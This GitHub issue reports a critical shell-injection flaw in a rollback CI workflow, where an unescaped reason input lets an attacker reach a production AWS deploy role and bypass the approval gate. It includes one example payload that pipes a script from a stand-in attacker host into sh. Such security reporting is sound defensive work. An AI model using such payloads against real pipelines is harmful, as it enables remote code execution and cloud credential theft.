Skip to content

sec(ci): rollback.yml interpolates the free-text reason input into run blocks in a job holding id-token write #1542

Description

@cristim

Reviewed commit: be11bdcb5. Note: origin/main moved to 3e9660d06 during the review; re-verify against current main before changing code, since a finding may have moved.

Severity: CRITICAL. Shell injection reaching production cloud credentials while bypassing the GitHub Environment approval gate.

Where

.github/workflows/rollback.yml

  • :35-38 (reason, type: string, free-form workflow_dispatch input)
  • interpolated raw at :108, :109, :405, :407
  • worst: :444, inside an unquoted heredoc (cat <<EOF > rollback-record.json, :438-449)
  • permissions: id-token: write declared at :14-16
  • validate job at :45 and summary job at :381 have no environment: binding
  • the four rollback-* jobs at :204, :259, :301, :343 do have one
  • AWS trust policy: terraform/environments/aws/ci-cd-permissions/role.tf:28-33

What

${{ inputs.reason }} is substituted into the shell source before bash parses it. reason set to "; curl -s https://attacker/x | sh; # is arbitrary code execution. The unquoted heredoc at :438 additionally executes $(...) inside the JSON body.

Separately, inputs.image_tag's regex guard at :68 is itself post-interpolation, so it validates nothing.

Failure scenario

The environment approval gate exists and is bypassed by the job that runs first.

The validate and summary jobs carry no environment: binding, unlike the four rollback-* jobs. The AWS deploy role's trust policy allows repo:<org/repo>:ref:refs/heads/main independently of the environment:{dev,staging,prod} subjects.

So a user with plain write access who dispatches rollback.yml from main with a malicious reason gets remote code execution in an unbound job that can mint an OIDC token and assume cudly-terraform-deploy, the full prod deploy role, without ever passing the GitHub Environment reviewer gate that protects the rollback-* jobs.

The approval control is architecturally bypassed rather than merely weak.

Fix direction

  • Move every inputs.* into env: and reference "$REASON" (quoted) in the script body.
  • Quote the heredoc delimiter (<<'EOF') and build the JSON with jq -n --arg.
  • Bind every job to an environment, or drop id-token: write to job-level permissions: only on the jobs that need it.
  • Remove repo:...:ref:refs/heads/main from the role trust policy so only environment:* subjects can assume it.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions